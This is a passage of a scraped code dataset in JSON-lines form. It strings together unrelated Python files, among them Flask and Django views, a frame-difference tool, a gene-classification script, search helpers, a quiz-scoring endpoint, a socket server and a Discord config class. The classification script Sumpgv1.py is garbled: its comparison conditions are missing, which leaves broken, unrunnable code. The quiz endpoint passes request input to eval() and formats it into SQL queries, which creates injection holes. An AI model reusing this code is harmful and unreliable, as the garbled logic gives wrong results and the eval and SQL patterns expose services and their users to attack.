    '\n self._template_args['form'] = form\n self._template_args['link'] = link\n return super(MyIndexView, self).index()\n @expose('/logout/')\n def logout_view(self):\n login.logout_user()\n return redirect(url_for('.index'))\n\nclass MyModelView(ModelView):\n def is_acessible(self):\n return login.current_user.is_authenticated()\n\nadmin.add_view(MyIndexView(name='Hello 1', endpoint='test1', category='Test'))\nadmin.add_view(MyIndexView(name='Hello 2', endpoint='test2', category='Test'))\nadmin.add_view(MyIndexView(name='Hello 3', endpoint='test3', category='Test'))\n\nadmin.add_view(MyModelView(User, db.session))\nadmin.add_view(MyModelView(Question, db.session))\nadmin.add_view(MyModelView(Answer, db.session))","sub_path":"nektime/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"568927307","text":"# -*- coding: utf-8 -*-\nfrom django.conf.urls import url\n\nfrom . import views\n\napp_name = 'polls'\nurlpatterns = [\n url(r'^add/$', views.add, name=\"add\"),\n url(r'^add2/(\\d+)/(\\d+)/$', views.add2, name=\"add2\"),\n url(r'^(\\d+)/$', views.detail, name=\"detail\"),\n url(r'^(\\d+)/vote/$', views.vote, name='vote'),\n url(r'^(\\d+)/results/$', views.results, name='results'),\n url(r'^$', views.index, name=\"index\"),\n]\n","sub_path":"mysite/polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"218747027","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfrom capture import *\nimport numpy\n\n# Note: we consider frame differences to be the number of pixels with an rgb\n# component > 5 components (out of 255) different from the previous frame.\n# this probably doesn't catch all cases, but works well in the common case\n# of eliminating frame differences due to \"noise\" in the HDMI capture\nPIXEL_DIFF_THRESHOLD = 5.0\n\ndef get_framediff_image(capture, framenum1, framenum2, cropped=False):\n frame1 = capture.get_frame(framenum1, cropped)\n frame2 = capture.get_frame(framenum2, cropped)\n framediff = numpy.abs(frame1.astype('float') - frame2.astype('float'))\n thresh = 5.0\n for row in framediff:\n for px in row:\n if px[0] >= PIXEL_DIFF_THRESHOLD or px[1] >= PIXEL_DIFF_THRESHOLD \\\n or px[2] >= PIXEL_DIFF_THRESHOLD:\n px[0] = 255.0\n px[1] = 0.0\n px[2] = 0.0\n\n return Image.fromarray(framediff.astype(numpy.uint8))\n\ndef get_framediff_sums(capture):\n try:\n cache = pickle.load(open(capture.cache_filename, 'r'))\n except:\n cache = {}\n\n try:\n diffsums = cache['diffsums']\n except:\n # Frame differences\n diffsums = None\n prevframe = None\n diffsums = []\n for i in range(1, capture.num_frames+1):\n frame = capture.get_frame(i, True).astype('float')\n if prevframe != None:\n framediff = (frame - prevframe)\n framediff = framediff[framediff >= PIXEL_DIFF_THRESHOLD]\n diffsums.append(len(framediff))\n prevframe = frame\n cache['diffsums'] = diffsums\n pickle.dump(cache, open(capture.cache_filename, 'w'))\n\n return diffsums\n\ndef get_num_unique_frames(capture):\n framediff_sums = get_framediff_sums(capture)\n return 1 + len([framediff for framediff in framediff_sums if framediff > 0])\n\ndef get_fps(capture):\n return get_num_unique_frames(capture) / capture.length\n\ndef get_stable_frame(capture, threshold = 2048):\n framediff_sums = get_framediff_sums(capture)\n for i in range(len(framediff_sums)-1, 0, -1):\n if framediff_sums[i] > threshold:\n return i+1\n return len(framediff_sums)-1\n","sub_path":"src/videocapture/videocapture/framediff.py","file_name":"framediff.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237887145","text":"#!/usr/bin/env python\nimport sys,re\n\nIN=open(sys.argv[1],'r')\n\nOUT=open(sys.argv[2],'w')\n\nOUT1=open(\"Pg.Classfication.xls\",'w')\n\n#type distance lncRChr lncRstart lncRend Chr start end\n#genedist 193 Chr1 780106 780409 Chr1 780602 781285\n#genedist 815 Chr1 2816 2497 At1NC000020 Chr1 3631 5899 AT1G01010\n\np=0\nb=0\nc=0\nf=0 #(head to head)\ne=0\nd=0\nfr=IN.readline()\n\ndistant=0\n\nOUT1.write(\"\\t\".join([\"Classification\",\"Type\",\"distance\",\"lncRChr\",\"lncRstart\",\"lncRend\",\"lnRNA\",\"Chromosome\",\"Start\",\"End\",\"Gene/Pseudogene\"])+\"\\n\")\nfor eachline in IN:\n\tsplit=eachline.rstrip().split(\"\\t\")\n\tla=int(split[3])\t\n\tlb=int(split[4])\n\tga=int(split[7])\n\tgb=int(split[8])\n\tif int(split[1])<2000 and split[0]==\"pgdist\":\n\t\tif (lbga):\n\t\t\tif ga>lb:\n\t\t\t\tp+=1\n\t\t\t\tOUT1.write(\"%s\\t%s\\n\"%(\"Promoter associated\",eachline.rstrip()))\n\t\t\t\t#print eachline\n\t\t\telif lb>gb:\n\t\t\t\tf+=1\n\t\t\t\tOUT1.write(\"%s\\t%s\\n\"%(\"Tail to Tail\",eachline.rstrip()))\n\t\t\t\t#print eachline\n\t\t\telif lbgb):\n\t\t\tif gagb:\n\t\t\t\tb+=1\n\t\t\t\tOUT1.write(\"%s\\t%s\\n\"%(\"Body associated\",eachline.rstrip()))\n\t\t\t\t#print eachline\n\t\t\telif gb>lb:\n\t\t\t\tf+=1\n\t\t\t\tOUT1.write(\"%s\\t%s\\n\"%(\"Tail to Tail\",eachline.rstrip()))\n\t\t\t\t#print eachline\n\t\telif (la=2000 and split[0]==\"pgdist\":\n\t\tdistant+=1\nOUT.write(\"%s\\t%s\\n%s\\t%s\\n%s\\t%s\\n%s\\t%s\\n%s\\t%s\\n\"%(\"promoter\",p,\"body\",b,\"Co\",c,\"f\",f,\"distant\",distant))\n\nIN.close()\nOUT.close()\t\n","sub_path":"script/Sumpgv1.py","file_name":"Sumpgv1.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266953353","text":"import board_manipulation as b_m\nfrom search_node import search_node\n\n# manhattan distance is distance between two points on a grid based on strictly horizontal and/or vertical path\ndef manhattan_distance(start, end):\n\n sx, sy = start\n ex, ey = end\n\n return abs(ex - sx) + abs(ey - sy)\n\n# generates and returns all children nodes of the node if it does not collide with a wall\ndef generate_all_successors(board, node):\n\n new_nodes = {}\n cell_categories = [\"w\", \"m\", \"f\", \"g\", \"r\", \".\", \"B\"]\n\n temp_location = list(node.location)\n\n if temp_location[1] < (len(board)-1): # checks if this is edge of map\n\n temp_location[1] += 1 # y value +1 (goes up)\n\n m_v = b_m.get_map_value(board, temp_location)\n\n if m_v in cell_categories: #checks if map value is not a wall\n\n #creates a node\n temp_location = (temp_location[0], temp_location[1])\n new_node = search_node(G= node.g , Parent=node)\n new_node.g += b_m.calculate_g(board, new_node)\n new_node.location = temp_location\n x = new_node.parent\n\n #creates the nodes \"state\", what path it takes from start node\n while x != None:\n\n new_node.state.append(x.location)\n x = x.parent\n\n new_nodes[temp_location] = new_node\n\n #repeats previous actions on left, right, down movement\n\n temp_location = list(node.location)\n\n if temp_location[0] < (len(board[0])-1):\n\n temp_location[0] += 1\n\n m_v = b_m.get_map_value(board, temp_location)\n\n if m_v in cell_categories:\n\n temp_location = (temp_location[0],temp_location[1])\n new_node = search_node(G= node.g, Parent=node)\n new_node.g += b_m.calculate_g(board, new_node)\n new_node.location = temp_location\n x = new_node.parent\n\n while x != None:\n\n new_node.state.append(x.location)\n x = x.parent\n\n new_nodes[temp_location] = new_node\n\n temp_location = list(node.location)\n\n if temp_location[1]> 0:\n\n temp_location[1] -= 1\n\n m_v = b_m.get_map_value(board, temp_location)\n\n if m_v in cell_categories:\n\n temp_location = (temp_location[0], temp_location[1])\n new_node = search_node(G= node.g, Parent=node)\n new_node.g += b_m.calculate_g(board, new_node)\n new_node.location = temp_location\n x = new_node.parent\n\n while x != None:\n\n new_node.state.append(x.location)\n x = x.parent\n\n new_nodes[temp_location] = new_node\n\n temp_location = list(node.location)\n\n if temp_location[0] > 0:\n\n temp_location[0] -= 1\n\n m_v = b_m.get_map_value(board, temp_location)\n\n if m_v in cell_categories:\n\n temp_location = (temp_location[0], temp_location[1])\n new_node = search_node(G= node.g, Parent=node)\n new_node.g += b_m.calculate_g(board, new_node)\n new_node.location = temp_location\n x = new_node.parent\n\n while x != None:\n\n new_node.state.append(x.location)\n x = x.parent\n\n new_nodes[temp_location] = new_node\n\n return new_nodes\n\n# attaches child to a node that is now considered its best parent so far\ndef attach_and_eval(map_array, child, parent, goal_location):\n\n child.parent = parent\n child.g = parent.g + b_m.calculate_g(map_array, child)\n child.h = manhattan_distance(child.location, goal_location)\n child.f = int(child.g) # doesnt matter what f is in bfs\n\n# recurses through the children of a parent and other descendants if the new parent.g value makes the path better\ndef propagate_path_improvements(map_array, parent):\n\n for kid in parent.children:\n\n if ((parent.g) + b_m.calculate_g(map_array, kid)) < kid.g:\n\n kid.parent = parent\n kid.g = parent.g + b_m.calculate_g(map_array, kid)\n kid.f = kid.g # doesnt matter what f is in bfs","sub_path":"bfs/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260646019","text":"# Create your views here.\n\nfrom blog.models import Blog, Category\nfrom django.shortcuts import render_to_response, get_object_or_404\n\ndef index(request):\n \"\"\"render index.html\n \n Arguments:\n - `request`:\n \"\"\"\n context = {'categories': Category.objects.all(),\n 'posts':Blog.objects.all()[:5]}\n return render_to_response('index.html',\n context,)\n\n\ndef view_post(request, slug):\n \"\"\"render posts\n \n Arguments:\n - `request`:\n - `slug`:\n \"\"\"\n context = {'post':get_object_or_404(Blog, slug=slug)}\n render_to_response('view_post.html',\n context)\n\ndef view_category(request, slug):\n \"\"\"view categories\n \n Arguments:\n - `request`:\n - `slug`:\n \"\"\"\n category = get_object_or_404(Category, slug=slug)\n context = {'category':category,\n 'posts':Blog.objects.filter(category=category)[:5]}\n \n render_to_response('view_category.html', \n context)\n\n \n\n\n\n \n","sub_path":"djangorocks/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459576174","text":"from flask import Flask, request, Response\nfrom pymysql import cursors\nimport json\n\ndef javaHashMapStrToJson(data):\n data = data.replace(',', '}, {')\n data = data.replace('=',',')\n data = data.replace(\"'\",'\"')\n data = '['+data+']'\n data = eval(data)\n data = sorted(data,key = lambda i:i['id'])\n return data\n\ndef mod(n):\n if n < 0:\n return -n\n return n\n\ndef answers(connection):\n with connection.cursor() as cursor:\n fbid = request.form.get(\"firebase_id\")\n cursor.execute(\"SELECT firebase_id FROM profile WHERE firebase_id = '{}'\".format(fbid))\n if cursor.rowcount == 0:\n return Response(json.dumps({\"status\": \"failure\", \"Reason\":\"Firebase ID doesnot exist\", \"status_code\": \"200\"}), mimetype=\"application/json\", status=200)\n data = request.form.get(\"answers\")\n try:\n data = javaHashMapStrToJson(data)\n except:\n return Response(json.dumps({\"status\":\"failure\", \"Reason\":\"Cant parse answers\", \"status_code\":\"200\"}),mimetype=\"application/json\",status = 200)\n score = 0\n id = 0\n query = \"select * from quiz where id = \".format(data[id][\"id\"])\n for i in range(len(data)):\n query += \" {} or id = \".format(data[id][\"id\"])\n id+=1\n id = 0\n query = query[:-9]\n cursor.execute(query)\n if cursor.rowcount==0:\n return Response(json.dumps({\"status\": \"failure\", \"status_code\": \"200\"}), mimetype=\"application/json\", status=200)\n ans = cursor.fetchall()\n for i in range(len(data)):\n qid = ans[id][\"id\"]\n if(int(ans[id][\"ans\"])==int(data[id][\"ans\"])):\n score+=1\n id+=1\n cursor.execute(\"SELECT quiz_rating FROM profile WHERE firebase_id = '{}'\".format(fbid))\n rating = cursor.fetchone()\n rating = rating[\"quiz_rating\"]\n newRating = rating+score\n cursor.execute(\"UPDATE profile SET quiz_rating = '{}', points = points + {} WHERE firebase_id = '{}'\".format(newRating,score,fbid))\n # connection.commit()\n return Response(json.dumps({\"status\": \"success\", \"status_code\": \"200\", \"score\": score}),mimetype = \"application/json\",status = 200)\n","sub_path":"quiz_answers.py","file_name":"quiz_answers.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"34488279","text":"from random import *\n\n\n# ETAPE 1\ndef crypter_char(char, decalage):\n actuel = ord(char)\n actuel += decalage\n return chr(actuel)\n\n\n# ETAPE 2\ndef decrypter_char(char, decalage):\n actuel = ord(char)\n actuel -= decalage\n return chr(actuel)\n\n\n# ETAPE 3\ndef crypter_phrase(phrase, decalage):\n nouvelle_phrase = \"\"\n for lettre in phrase:\n nouvelle_phrase += crypter_char(lettre, decalage)\n return nouvelle_phrase\n\n\n# ETAPE 4\ndef decrypter_phrase(phrase, decalage):\n nouvelle_phrase = \"\"\n for lettre in phrase:\n nouvelle_phrase += decrypter_char(lettre, decalage)\n return nouvelle_phrase\n\n\n# ETAPE 5\ndef cryptage(element):\n decalage = randrange(1, 10)\n phrase = crypter_phrase(element, decalage)\n return chr(decalage) + phrase\n\n\n# ETAPE 6\ndef decryptage(element):\n decalage = ord(element[0])\n phrase = element[1:]\n return decrypter_phrase(phrase, decalage)\n\n\n# ETAPE 7\ndef main():\n reponse = str(input('Voulez-vous crypter ou decrypter: '))\n while (reponse.lower() != 'crypter' and reponse.lower() != 'decrypter'):\n reponse = str(input('Voulez-vous crypter ou decrypter: '))\n\n if (reponse.lower() == 'crypter'):\n element = str(input('Element à crypter: '))\n print('Element crypter: ', cryptage(element))\n else:\n element = str(input('Element à decrypter: '))\n print('Element décrypter: ', decryptage(element))\n\n\n# ETAPE 8\nreponse = \"rien\" # pour rentrer dans le while\nwhile (reponse.lower() != 'non'):\n main()\n reponse = str(input('\\nVoulez-vous recommencer? ')) \n","sub_path":"exo9.6.py","file_name":"exo9.6.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414210145","text":"import os, time, json, logging\n\nfrom initial_ML_module import Trainer\n\ntrain_folder = os.environ.get(\"TRAIN_DATA_FOLDER\",\"./train\")\nlog_folder = os.environ.get(\"LOGS_FOLDER\",\"./logs\")\n\nlogFile = log_folder + '/ml.log'\nlogger = logging.getLogger(__name__)\n\n# Create handlers\nf_handler = logging.FileHandler(logFile)\nf_handler.setLevel(logging.DEBUG)\n\n# Create formatters and add it to handler\nf_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\nf_handler.setFormatter(f_format)\n\n# Add handlers to the logger\nlogger.addHandler(f_handler)\ndef start():\n logger.info(\"Training process started ...\")\n _json = None \n try:\n _file = open(train_folder + \"/train.data\",'r')\n _json = json.loads(_file.read())\n _file.close()\n except Exception as e:\n logger.info(\"An error occured\")\n logger.info(e)\n return False \n try:\n trainer = Trainer(_json[\"url_file\"],_json[\"target\"],_json[\"application\"],_json[\"features\"], _json['variant'])\n trainer.train()\n except Exception as e:\n print(e)\n logger.info(e)\n\nif __name__ == \"__main__\":\n start()","sub_path":"forecasting/morphemic/morphemic-performance-model/ml_code/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"388483145","text":"import math\nN = int(input())\n\ninput_list = [list(map(int, input().split())) for i in range(N)]\n \ndistance_list = []\nfor x1, y1 in input_list:\n for x2, y2 in input_list:\n dist = math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)\n distance_list.append(dist)\nprint(round(max(distance_list), 6))","sub_path":"arc004/a/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"84697487","text":"from datetime import date\n\nfrom bidict import bidict\n\nfrom constants import DB\nfrom models import Vehicle, Company, DeliveryNote, DeliveryNoteItem\nfrom models import Settings\n\nITEM_TYPES = bidict(\n {\"HOURS\": \"Hours\",\n \"KMS\": \"Kms\",\n \"OTHERS\": \"Others\"}\n )\nEXPIRATION_DAYS = (30, 60, 90, 120, 180)\nPAYMENT_TYPES = bidict(\n {\"CONFIRMING\": \"Confirming\",\n \"BANK_TRANSFER\": \"Bank transfer\",\n \"PROMISSORY_NOTE\": \"Promissory note\",\n \"CASH\": \"Cash\", \"PAID\": \"Paid\",\n \"CHECK\": \"Check\"}\n )\n \n\ndef init_db():\n DB.connect()\n DB.drop_tables(\n [Company, DeliveryNoteItem, DeliveryNote, Vehicle, Settings],\n safe=True)\n DB.create_tables(\n [Company, DeliveryNoteItem, DeliveryNote, Vehicle, Settings],\n safe=True)\n\n\ndef drop_tables():\n DB.connect()\n DB.drop_tables(\n [Company, DeliveryNoteItem, DeliveryNote, Vehicle, Settings],\n safe=True)\n\n\ndef populate_db():\n v12 = Vehicle(\n number=12, plate=\"1234ABC\", brand=\"My brand\",\n model=\"My model\", hour_price=27.32, km_price=8.99\n )\n v15 = Vehicle(\n number=15, plate=\"9876ZYX\", brand=\"My brand\",\n model=\"My model\", hour_price=34.02, km_price=4.00\n )\n v12.save()\n v15.save()\n\n c1 = Company(\n code=\"0001\", name=\"Company name\", nif=\"B12345678\",\n address=\"Rue st.\", city=\"Zaragoza\", state=\"Zaragoza\",\n zip_code=\"50000\", phone=\"123456789\", contact_person=\"Foolano\",\n alternative_phone=\"987654321\", fax=\"246813579\",\n email=\"foolano@bar.com\", iban=\"ES12345678901234567890123456789012\",\n bank_name=\"THE Bank\", payment_type=\"CASH\", expiration_days=30,\n first_payment_day=5, second_payment_day=15, third_payment_day=25\n )\n\n c2 = Company(\n code=\"0002\", name=\"Foo Inc.\", nif=\"B45678123\",\n address=\"Major st\", city=\"Zaragoza\", state=\"Zaragoza\",\n zip_code=\"50002\", email=\"foolano@bar.com\",\n iban=\"ES12345678901234567890123456789012\", bank_name=\"Minor Bank\",\n payment_type=\"BANK_TRANSFER\", expiration_days=45,\n first_payment_day=8\n )\n\n c1.save()\n c2.save()\n\n dn1 = DeliveryNote(\n code=\"11111111\", date=date(2016, 1, 3), company=c1, vehicle=v12,\n invoiced=False\n )\n dn2 = DeliveryNote(\n code=\"22222222\", date=date(2016, 1, 5), company=c1, vehicle=v15,\n invoiced=False\n )\n dn1.save()\n dn2.save()\n\n dni1 = DeliveryNoteItem(\n delivery_note=dn1, item_type=\"HOURS\", units=12,\n price=v12.hour_price, description=\"Working hard\"\n )\n dni2 = DeliveryNoteItem(\n delivery_note=dn2, item_type=\"HOURS\", units=7,\n price=21.00, description=\"We are working hard here\"\n )\n dni3 = DeliveryNoteItem(\n delivery_note=dn2, item_type=\"OTHERS\", units=1,\n price=327.86, description=\"Are you working hard?\"\n )\n dni1.save()\n dni2.save()\n dni3.save()\n\n Settings(vat=21.00, invoice_number=\"0000000001\").save()\n","sub_path":"sigg/util/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"313206570","text":"import socket#Get Required Modules\nimport sys\nfrom _thread import *\naddress=[]\nconnections=[]\n\ndef ReturnData(Type):\n if Type==\"Connections\":\n global address\n return address\n\ndef Message(Message,ConnN):\n #Message(Message , Connection Number)\n #Send Client(s) a message\n global connections#Get Connections List from Global Source\n if ConnN==\"*\":\n for connection in connections:#For Every Connection\n connection.sendall(Message)#Send Message To Current Connection\n else:\n connections[ConnN].sendall(Message)#Send Message To Selected Connection\n\ndef GetReply(Query,ConnN,Terminator):\n #GetReply(Question , Connection Num , End Character , Reply Message)\n #Ask Client(s) a question\n global connections#Get Connections List from Global Source\n if ConnN==\"*\":#If Target Connection is \"*\"\n for ConTrgt in connections:#Run GetReplyExec for each Connection\n Word=[]\n Word.append(GetReplyExec(Query,ConTrgt,Terminator))\n else:#Run GetReplyExec for Selected Connection\n print(connections)\n Word=GetReplyExec(Query,connections[ConnN],Terminator)\n print(Word)\n return Word\n exit()\n\ndef GetReplyExec(Query,ConTrgt,Terminator):\n #GetReply(Question , Connection Num , End Character , Reply Message)\n #Ask Client(s) a question\n ConTrgt.sendall(str.encode(Query))#Send Client Message\n Word=GetUsrInput(ConTrgt,Terminator)\n return Word\n\ndef GetUsrInput(ConTrgt,Terminator):\n Word=\"\"\n while True:\n c = ConTrgt.recv(2048000).decode(\"utf-8\")#Get Clients Character Input\n Word+=c#Add character to the word/scenetence\n\n if c==\"\b\":#if character is (Back Space)\n\n Word=Word[0:len(Word)-2]#Remove Delete Character And Previous Charcter\n\n if Terminator not in Word:#Check if Terminator Charcter in Word\n\n if not Word:\n break#End Function\n\n if Terminator in Word:#If Terminsator is in Word\n\n #print(Word[0:len(Word)-1])#Display Word\n return Word[0:len(Word)-1]\n break\n #End Function\n\ndef Server():\n #start_new_thread(Server,())\n #Start The Server\n\n import socket#Import Required Modules\n import sys\n\n host = ''#Set Connection Settings\n port = 1234\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:#Try To Bind To Port And IP\n s.bind((host, port))\n except socket.error as e:\n print(str(e))\n\n s.listen(5)\n #print('Waiting for a connection.')\n\n connections=[]#Create connections List\n address=[]\n global connections, address\n\n while True:\n\n connection, addr = s.accept()#Set connection and addr\n connections.append(connection)#Add connection to list of connections\n address.append(addr)\n print('connected to: '+addr[0]+':'+str(addr[1]))#Log the new connection\n\n#start_new_thread(Server,())\n","sub_path":"Server/Version 1/ServerModule.py","file_name":"ServerModule.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"475076779","text":"#\n# [347] Top K Frequent Elements\n#\n# https://leetcode.com/problems/top-k-frequent-elements/description/\n#\n# algorithms\n# Medium (50.13%)\n# Total Accepted: 113.4K\n# Total Submissions: 226.1K\n# Testcase Example: '[1,1,1,2,2,3]\\n2'\n#\n#\n# Given a non-empty array of integers, return the k most frequent elements.\n#\n# For example,\n# Given [1,1,1,2,2,3] and k = 2, return [1,2].\n#\n#\n# Note:\n#\n# You may assume k is always valid, 1 ≤ k ≤ number of unique elements.\n# Your algorithm's time complexity must be better than O(n log n), where n is\n# the array's size.\n#\n\n\nclass Solution:\n def topKFrequent(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: List[int]\n \"\"\"\n dic = dict()\n for n in nums:\n if n not in dic:\n dic[n] = 1\n else:\n dic[n] += 1\n\n # Bucket Sort using frequency number in dic\n bucket = [set() for x in range(len(nums)+1)]\n for n in nums:\n bucket[dic[n]].add(n)\n res, i = [], 0\n for b in bucket[::-1]:\n for n in b:\n res.append(n)\n i += 1\n if i == k:\n return res\n","sub_path":"347.top-k-frequent-elements.python3.py","file_name":"347.top-k-frequent-elements.python3.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"318200876","text":"#!/usr/bin/env python3\n# license removed for brevity\nimport rospy\nfrom std_msgs.msg import Int32MultiArray\nimport rrtstarconnect1\nimport numpy as np\n\ndef print1():\n print(\"hello from ros\")\n\ndef give():\n pub = rospy.Publisher('path_topic', Int32MultiArray, queue_size=10)\n rospy.init_node('path_node', anonymous=True)\n rate = rospy.Rate(10) # 10hz\n path = Int32MultiArray()\n # path.data = rrtstarconnect1.p4\n\n while not rospy.is_shutdown():\n # path = rrtstarconnect1.p4\n # img = rrtstarconnect1.imre\n # rrtstarconnect1.show(img)\n p5 = np.array(rrtstarconnect1.p4)\n print(p5)\n # p5 = (p5/300)*11\n path.data = np.frombuffer(p5.tobytes(),'int32')\n print(path.data)\n pub.publish(path)\n rate.sleep()\n\nif __name__ == '__main__':\n try:\n rrtstarconnect1.rrtstarconnect()\n give()\n except rospy.ROSInterruptException:\n pass","sub_path":"task 3/codes/catkin_ws/src/turtle/src/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266007195","text":"# Calcule o resultado da expressão A > b and C or D, utilizando os valores da tabela a seguir.\n\na = 1\nb = 2\nc = True\nD = False\n\nprint (a > b and c or D) # falso\n\na2 = 10\nb2 = 3\nc2 = False\nd2 = False\n\nprint (a2 > b2 and c2 or d2)\n\na3 = 5\nb3 = 1\nc3 = True\nd3 = True\n\nprint (a3 > b3 and c3 or d3)\n\n","sub_path":"exercicio 3.5.py","file_name":"exercicio 3.5.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"232332239","text":"#! /usr/bin/env python \n\nimport urllib2\nimport subprocess\nimport stat\nimport os\nimport time\nimport smtplib\nimport shlex\nimport socket\nimport fcntl\nimport sys\n\nSCRIPTS_PATH = '/root/scripts/'\nTOMCAT_URL = 'http://www.intranet.upsa.es:8180/prueba'\nWEB_URL = 'http://www.upsa.es/prueba'\nTOMCAT_PID_FILE = '/var/run/tomcat5.5.pid'\nWEB_PID_FILE = '/var/run/lighttpd.pid'\nLOCK_FILE = '/var/lock/check_services'\n\ndef test_url(url):\n try:\n uf = urllib2.urlopen(url)\n except:\n return False\n data = uf.read().strip()\n if data == 'OK':\n return True\n else:\n return False\n\ndef test_service(pid_file):\n if os.path.exists(pid_file):\n mode = os.stat(pid_file)\n if (mode[stat.ST_CTIME] + 300) > int(time.time()):\n return False\n return True\n\ndef test_web():\n if test_service(WEB_PID_FILE) and not test_url(WEB_URL):\n return False\n return True\n\ndef test_tomcat():\n if test_service(TOMCAT_PID_FILE) and not test_url(TOMCAT_URL):\n return False\n return True\n\n\ndef restart_service(service):\n msg = \"\"\"Subject: reinciando servicios\n\n Reiniando servicios: \n \"\"\" \n msg = msg + service\n server = smtplib.SMTP('edge.upsa.es')\n server.sendmail('webpro01@upsa.es', 'sistemas@upsa.es', msg)\n server.quit()\n cmd = '/etc/init.d/' + service + ' restart'\n args = shlex.split(cmd)\n subprocess.Popen(args)\n\ndef lock():\n f = open(LOCK_FILE, 'w')\n try:\n fcntl.flock(f.fileno(), fcntl.LOCK_EX | fcntl.LOCK_NB)\n except:\n return False\n return f\n\ndef unlock(f):\n fcntl.flock(f.fileno(), fcntl.LOCK_UN)\n f.close()\n os.remove(LOCK_FILE)\n return True\n\ndef main():\n\n f = lock()\n if not f:\n sys.exit()\n \n timeout = 5\n socket.setdefaulttimeout(timeout)\n \n if not test_tomcat() or not test_tomcat():\n restart_service('tomcat5.5')\n if not test_web() or not test_web():\n restart_service('lighttpd')\n \n unlock(f)\n\nif __name__ == '__main__':\n main()\n","sub_path":"check_services.py","file_name":"check_services.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"36974809","text":"import inspect\n\nfrom abc import ABC, abstractmethod\nfrom collections.abc import Iterable\n\nimport typing\nfrom typing import Dict, Any, NoReturn\n\nimport discord\nfrom discord.ext.commands import Bot, Context, BadArgument\n\nfrom pymongo import ReturnDocument\n\nimport logging\nlog = logging.getLogger('Penelope')\n\nclass CogConfig(ABC):\n \"\"\"Uses python type hints to autofill the guild config for a cog\"\"\"\n _bot: Bot\n\n def __new__(cls):\n self = super().__new__(cls)\n self.type_hints = typing.get_type_hints(cls)\n del self.type_hints['_bot'] # ehh\n return self\n\n\n def __getattr__(self, name):\n if name == 'guild':\n return self._bot.get_guild(self._guild_id)\n\n if name in self.type_hints:\n hint = self.type_hints[name]\n param_id = self.__getattribute__(self._serialize_param(name))\n\n if typing.get_origin(hint) is list:\n hint = typing.get_args(hint)[0]\n return [self._get_param(p_id, hint) for p_id in param_id]\n\n return self._get_param(param_id, hint)\n\n\n def _get_param(self, param_id, hint):\n if hint is discord.TextChannel:\n return self._bot.get_channel(param_id)\n\n elif hint is discord.User:\n return self._bot.get_user(param_id)\n\n elif hint is discord.Role:\n return self.guild.get_role(param_id)\n\n elif hint is discord.Message:\n if not param_id:\n return None\n param = list(map(int, param_id.split(':')))\n return self._bot.get_channel(param[0]).fetch_message(param[1])\n\n else:\n log.warning(f'{self.__class__.__name__} - {hint} not implemented in __getattr__')\n\n\n @property\n def _embed(self) -> discord.Embed:\n e = discord.Embed(color=0xD81B60)\n e.title = f'{self.__class__.__name__}'\n return e\n\n\n async def handle_command(self, ctx: Context, *args):\n args = list(args)\n if not any(args):\n await self._send_params(ctx)\n\n else:\n param = args.pop(0)\n try:\n if param not in self.type_hints:\n raise BadArgument(f'`{param}` is not a valid config option')\n\n hint = self.type_hints[param]\n origin = typing.get_origin(hint)\n\n if origin is list:\n action = args.pop(0).strip()\n hint = typing.get_args(self.type_hints[param])[0]\n\n singlearg = await self._convert_argument(ctx, hint, args, param)\n\n arg = getattr(self, param)\n\n if action == 'add':\n if not singlearg in arg:\n arg.append(singlearg)\n\n elif action == 'remove':\n arg.remove(singlearg)\n\n else:\n raise BadArgument(f'Must use \\'add\\' or \\'remove\\' for List parameter {param}')\n\n else:\n arg = await self._convert_argument(ctx, hint, args, param)\n\n await self._update_config(param, arg)\n\n await ctx.send(embed=await self._single_param_embed(param))\n\n except BadArgument as e:\n await ctx.send(e)\n\n async def _single_param_embed(self, param):\n e = self._embed\n e.description = await self._render_param(param)\n return e\n\n async def _render_hint(self, param) -> str:\n hint = self.type_hints[param]\n origin = typing.get_origin(hint)\n if origin and issubclass(origin, 